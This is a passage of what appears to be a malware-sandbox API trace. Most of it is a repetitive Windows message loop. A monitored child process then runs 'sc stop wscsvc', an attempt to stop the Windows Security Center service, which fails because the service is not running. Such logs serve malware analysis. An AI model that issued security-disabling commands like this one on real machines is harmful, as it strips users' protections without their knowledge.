wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0248.706] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0248.706] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0248.706] GetCapture () returned 0x0 [0248.706] WindowFromPoint (Point=0x2e8) returned 0x60018 [0248.706] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0248.706] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0248.706] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0248.706] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0248.706] GetCurrentThreadId () returned 0xcd8 [0248.706] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0249.019] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0249.019] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0249.019] GetCapture () returned 0x0 [0249.019] WindowFromPoint (Point=0x2e8) returned 0x60018 [0249.019] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0249.019] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0249.019] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0249.019] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0249.019] GetCurrentThreadId () returned 0xcd8 [0249.019] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0249.330] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0249.330] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0249.330] GetCapture () returned 0x0 [0249.330] WindowFromPoint (Point=0x2e8) returned 0x60018 [0249.330] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0249.330] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0249.330] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0249.330] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0249.330] GetCurrentThreadId () returned 0xcd8 [0249.330] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0249.642] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0249.642] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0249.642] GetCapture () returned 0x0 [0249.642] WindowFromPoint (Point=0x2e8) returned 0x60018 [0249.642] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0249.642] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0249.642] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0249.642] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0249.642] GetCurrentThreadId () returned 0xcd8 [0249.644] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0249.954] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0249.954] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0249.954] GetCapture () returned 0x0 [0249.954] WindowFromPoint (Point=0x2e8) returned 0x60018 [0249.954] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0249.954] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0249.954] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0249.954] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0249.954] GetCurrentThreadId () returned 0xcd8 [0249.954] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0250.266] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0250.266] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0250.266] GetCapture () returned 0x0 [0250.266] WindowFromPoint (Point=0x2e8) returned 0x60018 [0250.266] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0250.266] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0250.266] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0250.266] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0250.266] GetCurrentThreadId () returned 0xcd8 [0250.266] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0250.578] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0250.578] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0250.578] GetCapture () returned 0x0 [0250.578] WindowFromPoint (Point=0x2e8) returned 0x60018 [0250.578] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0250.578] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0250.578] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0250.578] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0250.578] GetCurrentThreadId () returned 0xcd8 [0250.578] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0250.890] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0250.890] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0250.890] GetCapture () returned 0x0 [0250.890] WindowFromPoint (Point=0x2e8) returned 0x60018 [0250.890] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0250.890] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0250.890] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0250.890] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0250.890] GetCurrentThreadId () returned 0xcd8 [0250.890] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0251.202] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0251.202] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0251.202] GetCapture () returned 0x0 [0251.202] WindowFromPoint (Point=0x2e8) returned 0x60018 [0251.202] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0251.202] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0251.202] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0251.202] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0251.202] GetCurrentThreadId () returned 0xcd8 [0251.202] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0251.514] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0251.514] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0251.514] GetCapture () returned 0x0 [0251.514] WindowFromPoint (Point=0x2e8) returned 0x60018 [0251.515] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0251.515] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0251.515] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0251.515] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0251.515] GetCurrentThreadId () returned 0xcd8 [0251.515] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0251.837] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0251.837] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0251.837] GetCapture () returned 0x0 [0251.837] WindowFromPoint (Point=0x2e8) returned 0x60018 [0251.837] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0251.837] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0251.837] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0251.837] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0251.837] GetCurrentThreadId () returned 0xcd8 [0251.837] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0252.138] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0252.138] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0252.138] GetCapture () returned 0x0 [0252.138] WindowFromPoint (Point=0x2e8) returned 0x60018 [0252.138] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0252.138] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0252.138] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0252.138] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0252.138] GetCurrentThreadId () returned 0xcd8 [0252.138] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0252.451] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0252.451] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0252.451] GetCapture () returned 0x0 [0252.451] WindowFromPoint (Point=0x2e8) returned 0x60018 [0252.451] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0252.451] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0252.451] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0252.451] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0252.451] GetCurrentThreadId () returned 0xcd8 [0252.451] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0252.762] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0252.762] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0252.762] GetCapture () returned 0x0 [0252.762] WindowFromPoint (Point=0x2e8) returned 0x60018 [0252.762] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0252.762] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0252.762] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0252.762] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0252.762] GetCurrentThreadId () returned 0xcd8 [0252.762] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0253.074] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0253.074] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0253.074] GetCapture () returned 0x0 [0253.074] WindowFromPoint (Point=0x2e8) returned 0x60018 [0253.074] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0253.074] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0253.074] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0253.074] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0253.074] GetCurrentThreadId () returned 0xcd8 [0253.074] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0253.386] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0253.386] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0253.386] GetCapture () returned 0x0 [0253.386] WindowFromPoint (Point=0x2e8) returned 0x60018 [0253.386] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0253.386] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0253.386] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0253.386] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0253.386] GetCurrentThreadId () returned 0xcd8 [0253.387] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0253.698] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0253.698] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0253.698] GetCapture () returned 0x0 [0253.698] WindowFromPoint (Point=0x2e8) returned 0x60018 [0253.698] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0253.698] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0253.698] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0253.698] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0253.698] GetCurrentThreadId () returned 0xcd8 [0253.698] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0254.018] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0254.018] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0254.018] GetCapture () returned 0x0 [0254.018] WindowFromPoint (Point=0x2e8) returned 0x60018 [0254.018] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0254.018] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0254.018] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0254.018] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0254.018] GetCurrentThreadId () returned 0xcd8 [0254.018] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0254.324] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0254.324] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0254.324] GetCapture () returned 0x0 [0254.324] WindowFromPoint (Point=0x2e8) returned 0x60018 [0254.325] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0254.325] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0254.325] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0254.325] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0254.325] GetCurrentThreadId () returned 0xcd8 [0254.325] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0254.634] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0254.634] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0254.634] GetCapture () returned 0x0 [0254.634] WindowFromPoint (Point=0x2e8) returned 0x60018 [0254.634] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0254.634] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0254.634] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0254.634] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0254.634] GetCurrentThreadId () returned 0xcd8 [0254.635] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0254.947] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0254.947] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0254.947] GetCapture () returned 0x0 [0254.947] WindowFromPoint (Point=0x2e8) returned 0x60018 [0254.947] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0254.947] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0254.947] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0254.947] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0254.947] GetCurrentThreadId () returned 0xcd8 [0254.947] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0255.258] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0255.258] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0255.258] GetCapture () returned 0x0 [0255.258] WindowFromPoint (Point=0x2e8) returned 0x60018 [0255.258] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0255.258] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0255.258] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0255.258] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0255.258] GetCurrentThreadId () returned 0xcd8 [0255.258] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0255.570] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0255.570] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0255.570] GetCapture () returned 0x0 [0255.570] WindowFromPoint (Point=0x2e8) returned 0x60018 [0255.570] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0255.570] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0255.570] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0255.570] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0255.570] GetCurrentThreadId () returned 0xcd8 [0255.570] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0255.882] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0255.882] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0255.882] GetCapture () returned 0x0 [0255.882] WindowFromPoint (Point=0x2e8) returned 0x60018 [0255.883] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0255.883] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0255.883] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0255.883] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0255.883] GetCurrentThreadId () returned 0xcd8 [0255.883] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0256.197] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0256.197] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0256.198] GetCapture () returned 0x0 [0256.198] WindowFromPoint (Point=0x2e8) returned 0x60018 [0256.198] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0256.198] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0256.198] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0256.198] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0256.198] GetCurrentThreadId () returned 0xcd8 [0256.198] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0256.506] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0256.506] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0256.506] GetCapture () returned 0x0 [0256.506] WindowFromPoint (Point=0x2e8) returned 0x60018 [0256.506] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0256.506] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0256.506] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0256.506] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0256.506] GetCurrentThreadId () returned 0xcd8 [0256.506] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0256.837] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0256.837] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0256.837] GetCapture () returned 0x0 [0256.837] WindowFromPoint (Point=0x2e8) returned 0x60018 [0256.837] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0256.837] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0256.837] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0256.837] PtInRect (lprc=0x30f390, pt=0x231) returned 1 [0256.837] GetCurrentThreadId () returned 0xcd8 [0256.837] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0257.145] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0257.145] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0257.145] GetCapture () returned 0x0 [0257.145] WindowFromPoint (Point=0x501) returned 0x300f2 [0257.145] IsChild (hWndParent=0x60018, hWnd=0x300f2) returned 0 [0257.146] GetMessageTime () returned 383325 [0257.146] GetMessagePos () returned 0x31d0501 [0257.146] KillTimer (hWnd=0x60132, uIDEvent=0x2005) returned 1 [0257.146] GetCapture () returned 0x0 [0257.147] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f56c | out: lpPoint=0x30f56c) returned 1 [0257.147] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0257.147] GetCurrentThreadId () returned 0xcd8 [0257.147] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0257.147] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f570 | out: lpPoint=0x30f570) returned 1 [0257.148] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0257.148] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830478 | out: hHeap=0x7f0000) returned 1 [0257.148] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f570 | out: lpPoint=0x30f570) returned 1 [0257.148] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x830478 [0257.148] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x830478 | out: hHeap=0x7f0000) returned 1 [0257.148] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x2a3, wParam=0x0, lParam=0x0, plResult=0x30f664 | out: plResult=0x30f664) returned 0x1 [0257.148] NtdllDefWindowProc_W () returned 0x0 [0257.148] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0257.148] GetMessageW (lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) Thread: id = 117 os_tid = 0xea8 Thread: id = 261 os_tid = 0xb68 [0068.605] GetCurrentThreadId () returned 0xb68 [0068.605] LoadLibraryW (lpLibFileName="mshtml.dll") returned 0x73350000 [0068.605] CoInitialize (pvReserved=0x0) returned 0x0 [0068.605] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1006) returned 0x836738 [0068.693] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x927c0) returned 0x0 [0068.693] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x927c0) Thread: id = 270 os_tid = 0x838 [0083.201] GetCurrentThreadId () returned 0x838 [0150.635] GetCurrentThreadId () returned 0x838 Thread: id = 271 os_tid = 0xc80 [0083.462] GetCurrentThreadId () returned 0xc80 Thread: id = 272 os_tid = 0x634 [0083.462] GetCurrentThreadId () returned 0x634 [0175.668] GetCurrentThreadId () returned 0x634 Process: id = "39" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x2ea3c000" os_pid = "0xcdc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "sc stop wscsvc" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 63 os_tid = 0xce0 [0051.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fcb4 | out: lpSystemTimeAsFileTime=0x24fcb4*(dwLowDateTime=0xadb4aca0, dwHighDateTime=0x1d5e09d)) [0051.507] GetCurrentProcessId () returned 0xcdc [0051.507] GetCurrentThreadId () returned 0xce0 [0051.507] GetTickCount () returned 0x1157234 [0051.507] QueryPerformanceCounter (in: lpPerformanceCount=0x24fcac | out: lpPerformanceCount=0x24fcac*=19337861954) returned 1 [0051.508] GetModuleHandleA (lpModuleName=0x0) returned 0x30000 [0051.508] __set_app_type (_Type=0x1) [0051.508] __p__fmode () returned 0x76be31f4 [0051.508] __p__commode () returned 0x76be31fc [0051.508] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x379c7) returned 0x0 [0051.508] __wgetmainargs (in: _Argc=0x39020, _Argv=0x39028, _Env=0x39024, _DoWildCard=0, _StartInfo=0x39034 | out: _Argc=0x39020, _Argv=0x39028, _Env=0x39024) returned 0 [0051.509] SetThreadUILanguage (LangId=0x0) returned 0x409 [0051.511] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0051.511] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0051.511] wcsncmp (_String1="st", _String2="\\\\", _MaxCount=0x2) returned 23 [0051.512] _wcsicmp (_String1="stop", _String2="query") returned 2 [0051.512] _wcsicmp (_String1="stop", _String2="queryex") returned 2 [0051.512] _wcsicmp (_String1="stop", _String2="start") returned 14 [0051.512] _wcsicmp (_String1="stop", _String2="pause") returned 3 [0051.512] _wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0051.512] _wcsicmp (_String1="stop", _String2="control") returned 16 [0051.512] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0051.512] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0051.512] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x69f680 [0051.515] OpenServiceW (hSCManager=0x69f680, lpServiceName="wscsvc", dwDesiredAccess=0x20) returned 0x69f5e0 [0051.515] ControlService (in: hService=0x69f5e0, dwControl=0x1, lpServiceStatus=0x24fbb0 | out: lpServiceStatus=0x24fbb0*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0051.516] GetLastError () returned 0x426 [0051.516] _itow (in: _Dest=0x426, _Radix=2423628 | out: _Dest=0x426) returned="1062" [0051.516] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x426, dwLanguageId=0x0, lpBuffer=0x39380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The service has not been started.\r\n") returned 0x23 [0051.517] 